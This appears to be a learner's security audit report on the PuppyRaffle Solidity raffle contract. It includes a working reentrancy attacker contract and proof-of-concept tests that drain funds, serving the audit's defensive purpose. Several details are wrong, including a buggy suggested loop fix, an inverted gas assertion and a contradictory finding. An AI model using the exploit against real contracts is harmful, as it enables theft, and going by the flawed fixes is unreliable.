PuppyRaffle Audit Report

Version 1.0

February 18, 2024

Protocol Audit Report

itsmohammadh

18 February , 2024

Prepared by: mohammad

Table of Contents

    - [M-2] Smart contract wallets raffle winners without a `recive` or a `fallback` function will block the start of a new contest.

- Low
    - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to inscorrectly think thet have not entered the raffle.
- Information
    - [I-1] Solidity pragma should be specific, not wide
    - [I-2] Missing checks for `address(0)` when assigning values to address state variables
    - [I-3] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice.
    - [I-4] Use the Magic numbers is discouraged
    - [I-5] State changes are missing events
    - [I-7] `PuppyRaffle::_isActivePlyer` is never used and should be removed.
- Gas
    - [G-1] Unchanged state variable should be declare constant or immutable.
    - [G-2] Storage Variable in a loop should be cached.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
--> PuppyRaffle.sol
```

Scope

```
./src/
--> PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

for first codebase audit i try to audit this codebase in my security journey.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in PupppyRaffle::refund allows entrant to drain raffle balance.

Description: The PuppyRaffle::refund function does not follow CEI(cheks, effects, intranctions) and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that external call do we update the PuppyRaffle::players array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a fallback/recieve function that calls the PuppyRaffle::refund function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees by raffle contracts could be stolen by the malicious participant.

Proof of Concept: 1. User enter the raffle 2. Attacker sets up a contract with a fallback /recieve function that calls PuppyRaffle::refund 3. Attacker enter the raffle 4. Attacker calls PuppyRaffle::refund from their contract, draning the contract balance.

Proof of Code

Code

you can see the code's in PuppyRafflleTest.t.sol.

```
function test_Reentrance() public {
        address[] memory players = new address[](3);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = address(3);
        puppyRaffle.enterRaffle{value: entranceFee * 3}(players);

```

```
8           Attacker attacker = new Attacker(puppyRaffle);
9           address attackUser = makeAddr("attacker");
10          vm.deal(attackUser, 1 ether);
11
12          uint256 startingAttackContractBalance = address(attacker).
                balance;
13          uint256 startingContractBalance = address(puppyRaffle).balance;
14          console.log("attacker balance before attack :",
                startingAttackContractBalance);
15          console.log("puppyraffle balance before attack :",
                startingContractBalance);
16          // attack
17          vm.prank(attackUser);
18          attacker.attack{value: entranceFee}();
19
20          assertEq(address(puppyRaffle).balance, 0);
21          console.log("attacker balance after attack :", address(attacker
                ).balance);
22          console.log("puppyRaflle balance after attack :", address(
                puppyRaffle).balance);
23      }
```

And this is a Attacker Contract.

```
1  contract Attacker {
2      PuppyRaffle puppyRaffle;
3      uint256 attackerIndex;
4
5      constructor(PuppyRaffle _puppyRaflle) {
6          puppyRaffle = _puppyRaflle;
7      }
8
9      function attack() external payable {
10         address[] memory players = new address[](1);
11         players[0] = address(this);
12         puppyRaffle.enterRaffle{value: 1 ether}(players);
13
14         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
15         puppyRaffle.refund(attackerIndex);
16     }
17
18     function _stealMoney() internal {
19         if (address(puppyRaffle).balance >= 1 ether) {
20             puppyRaffle.refund(attackerIndex);
21         }
22     }
23
24     receive() external payable {
25         _stealMoney();
26     }
```

```
27 }
```

Recomended Mintigation: To prevent this, we should have the `PuppyRaffle::refund` function update before the external call. Additionaly, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
```

[H-2] Weak randomness in `PuppyRaflle::selectWinner` allows users to influence or predict winner.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together create a predictable find number. A predictable number is not a good random number, Malicious users can manipulate values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally mean users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy, Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.diddiculty` and use that predict when/how to participate. `block.difficulty` was recently replaced with prevrando.
2. User can mine/manipulate their `msg.sender` value to result in their address used to generated the winner!
3. Users can revert thir `selectWinner` tx if they don't like the winner or resulting puppy.

Recommended Mitigation: Consider using a cryptographically provable random number gereator such as Chainlink VRF.

[H-3] Integre Overflow of `PuppyRaffle::totalFees` losess fees

Description: In solidity version prior `0.8.0` integres were subject to integer overflows.

```
uint64 NewVar = type(uint64).max;
    // 18446744073709551615
    NewVar = NewVar + 1;
    // Boom NewVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correctamount of fees leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 178000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. you will not be able to withdraw, due to line in `PuppyRaffle::withdrawFees`

```
reqiure(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and whitdraw the fees, this is clearly not the intended design of the protoocl. At some point, there will be too much `balance` in the contract that above `require` will be impossible to hit.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
           players);
```

```
16          // We end the raffle
17          vm.warp(block.timestamp + duration + 1);
18          vm.roll(block.number + 1);
19
20          // And here is where the issue occurs
21          // We will now have fewer fees even though we just finished a
                second raffle
22          puppyRaffle.selectWinner();
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recomended Mitigation: Thre are few possible mitigation. 1. Use a newer version of solidity, and `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could also use the `SafeMath` library of Openzepplin for 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are colleccted. 3. Remove the balance chek from `PuppyRaffle::withdrawFees`

```
1 -   reqiure(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through array to chek for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrance.

Description The `PuppyRaffle::enterRaffle` function loops through the `player` array to chek for duplicated. However, the longer the `PuppyRaffle::enterRaffle` array is, the more chek a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `player` array, is an additional chek the loop will have to make.

```
1 // @audit DoS
2 @>        for (uint256 i = 0; i < players.length - 1; i++) {
```

```
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact The gas costs for raffle entrants will greatly increase as more player enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::enterRaffle` array so big, that no one else enters, guarenteeing themselves the win.

Proof od Concept

If we have 2 sets of 100 players enter, the gas costs will as such: => 1st 100 players: => 2st 100 players:

this is more than3x more expensive for the second 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`.

```
1  vm.txGasPrice(1);
2          uint256 playersNum = 100;
3          address[] memory players = new address[](playersNum);
4          for (uint256 i=0; i < playersNum; i++){
5              players[i] = address(i);
6          }
7
8          uint256 gasStart = gasleft();
9          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               players);
10         uint256 gasEnd = gasleft();
11         uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
12         console.log("Gas cost of the first players: ", gasUsedFirst);
13
14         uint256 gasStartSecond = gasleft();
15         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               players);
16         uint256 gasEndSecond = gasleft();
17         uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
               gasprice;
18         console.log("Gas cost of the second players: ", gasUsedSecond);
19
20         assert(gasUsedFirst > gasUsedSecond);
```

Recomended Mitigation There is a few recomendations.

1. Consider allowing duplicates. Users can make new wallet addressess anyway, so a duplicate chek dosen't prevent the same person from entering multiple times, only the same wallet address.

2. Consider using a mapping to chek for duplicates. This allow constant time lookup of whether a user has ready entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+       }
-       for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

[M-2] Smart contract wallets raffle winners without a `recive` or a `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lotther. However, if the winner is a smart contract wallet that rejects payment, the lottery would be able to restart.

Users could easily call the `selectWinner` founction again and non-wallet enterant could enter, but it could a lot due to the duplicate chek and lottery reset could get very challenging.

Impact: The `PPupyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Conecept:

1. 10 smart contractwallets enter the lottery without a fallback or receive function.
2. the lottery ends
3. the `selectWinenr` function wouldn't work, even though the lottery is over!

Recommended Minitigation: There are a few options to mitigation this issue.

1. Do not allow smart contract wallet entrant (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their fuunds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to inscorrectly think thet have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at the index 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1 function getActivePlayerIndex(address player) external view returns (
     uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
7         return 0;
8 }
```

Impact: A player at index 0 may incorrectly think they not entred the raffle and attemp to enter the raffle wasting gas.

Proof of Concept: 1. User enter the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayersIndex` retruns 0 3. User think they have not entered correctly due to the function documentation

Recomended Mintigation: The easiest recommendation whould be a revert if the player is not in the array instead of returning0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Information

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see the slither documentation for more information.

[I-2] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 68

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 183

```
1         previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 208

```
1         feeAddress = newFeeAddress;
```

[I-3] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice.

it's best tp keep code clean and follow CEI.

```
-         (bool success,) = winner.call{value: prizePool}("");
-         require(success, "PuppyRaffle: Failed to send prize pool to winner");
          _safeMint(winner, tokenId);
+         (bool success,) = winner.call{value: prizePool}("");
+         require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-4] Use the Magic numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the number are given a name.

Example:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) /100
```

Instead you could use:

```
uint256 public constant PRIZE_POOL_PERCEnTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
```

[I-5] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlyer` is never used and should be removed.

Gas

[G-1] Unchanged state variable should be declare constant or immutable.

Reading from storage is much more expensive than reading from constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variable in a loop should be cached.

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+    uint256 playersLength = players.length;
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for (uint256 i = 0; i < playersLength -1; i++ ) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = j + i; j < playersLength; j++){
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```